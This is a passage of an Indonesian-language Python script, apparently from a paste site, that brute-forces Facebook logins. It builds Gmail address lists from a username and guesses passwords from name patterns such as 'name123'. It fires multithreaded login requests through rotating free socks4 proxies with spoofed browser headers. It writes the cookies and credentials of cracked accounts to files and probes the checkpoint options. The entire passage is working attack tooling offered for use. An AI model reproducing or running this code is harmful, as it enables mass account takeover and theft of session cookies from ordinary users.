  1218.             'accept-encoding':'gzip, deflate br',
  1219.             'accept-language':'en-GB,en-US;q=0.9'})
  1220.             links = rc([f"https://{url}/login/login/device-based/regular/login/?shbl=1&refsrc=deprecated"])
  1221.             po = ses.post(links,data=date,allow_redirects=False,proxies=proxs)
  1222.             if "c_user" in ses.cookies.get_dict().keys():
  1223.                 ok+=1
  1224.                 cooz = ses.cookies.get_dict()
  1225.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1226.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  1227.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  1228.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  1229.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  1230.                 prints(tree)
  1231.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  1232.                 break          
  1233.             elif "checkpoint" in po.cookies.get_dict().keys():
  1234.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  1235.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  1236.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  1237.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  1238.                 prints(tree)
  1239.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1240.                 akune.append(idf+'|'+pw)
  1241.                 ceker(idf,pw)
  1242.                 cp+=1
  1243.                 break  
  1244.                
  1245.             else:
  1246.                 continue
  1247.         except requests.exceptions.ConnectionError:
  1248.             time.sleep(31)
  1249.     loop+=1
  1250.        
  1251.    
  1252. #----------[ CEK-OPSI ]----------# 
  1253. def ceker(idf,pw):
  1254.     global cp
  1255.     rc = random.choice
  1256.     url = rc(["mbasic.facebook.com"])
  1257.     head = (
  1258.     {
  1259.     "Host": url,
  1260.     "cache-control": "max-age=0",
  1261.     "upgrade-insecure-requests": "1",
  1262.     "origin": "https://"+url,
  1263.     "content-type": "application/x-www-form-urlencoded",
  1264.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  1265.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1266.     "x-requested-with": "mark.via.gp",
  1267.     "sec-fetch-site": "same-origin",
  1268.     "sec-fetch-mode": "navigate",
  1269.     "sec-fetch-user": "?1",
  1270.     "sec-fetch-dest": "document",
  1271.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  1272.     "accept-encoding": "gzip, deflate",
  1273.     "accept-language": "en-US,en;q=0.9"
  1274.     }
  1275. )
  1276.     ses = requests.Session()
  1277.     try:
  1278.         hi = ses.get('https://'+url)
  1279.         kontol = sop(ses.post(
  1280.         'https://'+url+'/login.php',
  1281.         data={
  1282.         'email':idf,
  1283.     'pass':pw,
  1284. 'login':'submit'
  1285.         },headers=head, allow_redirects=True).text,'html.parser')
  1286.         jo = kontol.find(
  1287.         'form'
  1288.         )
  1289.         data = {}
  1290.         lion = [
  1291.         'nh',
  1292.     'jazoest',
  1293. 'fb_dtsg',
  1294.     'submit[Continue]',
  1295.         'checkpoint_data'
  1296.         ]
  1297.         for anj in jo('input'):
  1298.             if anj.get('name') in lion:
  1299.                 data.update({anj.get('name'):anj.get('value')})
  1300.         kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
  1301.         opsi = kent.find_all('option')
  1302.         if len(opsi)==0:
  1303.             tree = Tree("")
  1304.             tree.add(Panel.fit(f"\r%sTapyes / A2f ( cek di mbasic )"%(H2),style=f"#AAAAAA"))
  1305.             prints(tree)
  1306.             #open('MBF-CP/'+'MBF-Tapyes.txt','a').write(idf+'|'+pw+'|'+'\n')
  1307.             #cp+=1
  1308.         else:
  1309.             for opsii in opsi:
  1310.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1311.     except Exception as c:
  1312.         tree = Tree("")
  1313.         tree.add(Panel.fit(f"\r%sSpam IP Tidak Dapat Cek Opsi Checkpoint"%(M2),style=f"#AAAAAA"))
  1314.         prints(tree)
  1315.         #open('MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'|'+'\n')
  1316.         #cp+=1
  1317.            
  1318. #----------[ CRACK-EMAIL ]----------#                    
  1319. def krek_email():
  1320.     rc = random.choice
  1321.     rr = random.randint
  1322.     xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1323.     blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1324.     global ok , cp
  1325.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1326.     nama = console.input(f'[â€Ē] USERNAME : ')
  1327.     if ',' in str(nama):
  1328.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  1329.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI"%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1330.     jumlah = console.input(f'[â€Ē] TOTAL : ')
  1331.     for xyz in range(int(jumlah)):
  1332.         A = nama
  1333.         B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
  1334.         C = f'@gmail.com'
  1335.         D = f'{A}{str(rc(B))}{C}'
  1336.         if D in id:pass
  1337.         else:id.append(D+'|'+nama)
  1338.         if len(dump)==999999:setting()
  1339.         prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  1340.         time.sleep(0.0000003)
  1341.     print("\r")
  1342.     atur_idx()
  1343.          
  1344. #----------[ MENU-IDZ ]----------#     
  1345. def atur_idx():
  1346.      rr = random.randint
  1347.      for khusus_random in id:
  1348.             cyxieon_id = rr(0,len(id2))
  1349.             id2.insert(cyxieon_id, khusus_random)
  1350.      user_agentx()
  1351.  
  1352. #----------[ USER-AGENT ]----------#              
  1353. def user_agentx():
  1354.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1355.     uatambah = input(f'[â€Ē] PILIH : ')
  1356.     if uatambah in ['y','Ya','ya','Y']:
  1357.          uadia.append('ya')
  1358.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1359.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  1360.          uamu.append(mantap)
  1361.     else:
  1362.         uadia.append('no')
  1363.     passwordx()
  1364.  
  1365. #----------[ PASSWORD]----------#                  
  1366. def passwordx():
  1367.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1368.     passwtamb = input(f'[â€Ē] PILIH : ')
  1369.     if passwtamb in ['y','Y']:
  1370.         sandine.append('ya')
  1371.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  1372.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  1373.         sandimu = sandiku.split(',')
  1374.         for sandixnxx in sandimu:
  1375.              sandina.append(sandixnxx)       
  1376.     else:
  1377.         sandine.append('no')
  1378.     otomatisx()
  1379.    
  1380. #----------[ WORDLIST ]----------#              
  1381. def otomatisx():
  1382.     global prog,des
  1383.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1384.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  1385.     des = prog.add_task('',total=len(id2))
  1386.     with prog:
  1387.         with tred(max_workers=30) as pool:
  1388.             for akun in id2:
  1389.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  1390.                 depan = nama.split(" ")[0]
  1391.                 pwx = []
  1392.                 if len(nama)<=5:
  1393.                     if len(depan)<=1 or len(depan)<=2:
  1394.                         pass
  1395.                     else:
  1396.                         pwx.append(depan+"123")
  1397.                         pwx.append(depan+"1234")
  1398.                         pwx.append(depan+"12345")
  1399.                 else:
  1400.                     if len(depan)<=1 or len(depan)<=2:
  1401.                         try:
  1402.                             tengah = nama.split(" ")[1]
  1403.                             if len(tengah)<=3:
  1404.                                 pass
  1405.                             else:
  1406.                                 pwx.append(tengah+"123")
  1407.                                 pwx.append(tengah+"1234")
  1408.                                 pwx.append(tengah+"12345")
  1409.                                 pwx.append(nama)
  1410.                         except:
  1411.                             try:
  1412.                                 belakang = nama.split(' ')[2]
  1413.                                 if len(belakang)<=3:pass
  1414.                                 else:
  1415.                                     pwx.append(belakang+"123")
  1416.                                     pwx.append(belakang+"1234")
  1417.                                     pwx.append(belakang+"12345")
  1418.                                     pwx.append(nama)
  1419.                             except:
  1420.                                  pwx.append(nama)
  1421.                     else:
  1422.                         pwx.append(nama)
  1423.                         pwx.append(depan+"123")
  1424.                         pwx.append(depan+"1234")
  1425.                         pwx.append(depan+"12345")
  1426.                         pwx.append(depan+"321")
  1427.                 if '><asyinc><' in method:
  1428.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1429.                 else:
  1430.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1431.                    
  1432.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  1433.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  1434.     prints(tree)
  1435.     gas = input(f"[â€Ē] PILIH : ")
  1436.     if gas in ['y','Y','ya','Ya']:
  1437.         menu()
  1438.     else:
  1439.         tree = Tree("")
  1440.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  1441.         prints(tree)
  1442.         time.sleep(2)
  1443.         exit() 
  1444.                        
  1445. #----------[ MOBILE ASYINC ]----------#                            
  1446. def crack(idf,pwx,url):
  1447.     global loop,ok,cp
  1448.     ses = requests.Session()
  1449.     rr = random.randint
  1450.     rc = random.choice
  1451.     emot = rc(["😝","😜","ðŸĪŠ"])
  1452.     prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1453.     prog.advance(des)
  1454.     for pw in pwx:
  1455.         try:
  1456.             if 'ya' in uadia: ua = uamu[0]
  1457.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1458.             open('socksku.txt','w').write(proxs)
  1459.             nip = rc(proxs)
  1460.             proxs = {'http': 'socks4://'+nip}
  1461.             ua = rc(ugen)
  1462.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1463.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  1464.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1465.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1466.             'had_cp_prefilled': 'false',
  1467.             'had_password_prefilled': 'false',
  1468.             'is_smart_lock': 'true',
  1469.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1470.             "__dyn": "",
  1471.             "__csr": "",
  1472.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1473.             "__a": "",
  1474.             "__user": "0",
  1475.             "_fb_noscript": "true"}
  1476.             cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1477.             head = {"Host": url,
  1478.             "content-length": f"{len(str(date))}",
  1479.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1480.             "sec-ch-ua-mobile": "?1",
  1481.             "user-agent": ua,
  1482.             "viewport-width": f"str(rr(400,989)",
  1483.             "content-type": "application/x-www-form-urlencoded",
  1484.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1485.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1486.             "x-asbd-id": "129477",
  1487.             "x-requested-with": "mark.via.gp",
  1488.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1489.             "sec-ch-prefers-color-scheme": "light",
  1490.             "sec-ch-ua-platform": '"Android"',
  1491.             "accept": "*/*",
  1492.             "origin": "https://"+url,
  1493.             "sec-fetch-site": "same-origin",
  1494.             "sec-fetch-mode": "cors",
  1495.             "sec-fetch-dest": "empty",
  1496.             "referer": ref,
  1497.             "accept-encoding": "gzip, deflate, br",
  1498.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1499.             "x-response-format": "JSONStream"}     
  1500.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
  1501.             po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1502.             if "c_user" in ses.cookies.get_dict().keys():
  1503.                 ok+=1
  1504.                 cooz = ses.cookies.get_dict()
  1505.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1506.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  1507.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA"))
  1508.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  1509.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  1510.                 prints(tree)
  1511.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  1512.                 break          
  1513.             elif "checkpoint" in po.cookies.get_dict().keys():
  1514.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  1515.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  1516.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  1517.                 prints(tree)
  1518.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1519.                 akune.append(idf+'|'+pw)
  1520.                 ceker(idf,pw)
  1521.                 cp+=1
  1522.                 break  
  1523.                
  1524.             else:
  1525.                 continue
  1526.         except requests.exceptions.ConnectionError:
  1527.             time.sleep(31)
  1528.     loop+=1
  1529.    
  1530. #----------[ SYSTEM-CONTROL ]----------#   
  1531. if __name__=='__main__':
  1532.     try:os.system('git pull')
  1533.     except:pass
  1534.     try:os.mkdir('MBF-DUMP')
  1535.     except:pass
  1536.     try:os.mkdir('MBF-OK')
  1537.     except:pass
  1538.     try:os.mkdir('MBF-CP')
  1539.     except:pass
  1540.     menu()    
Add Comment
Please, Sign In to add comment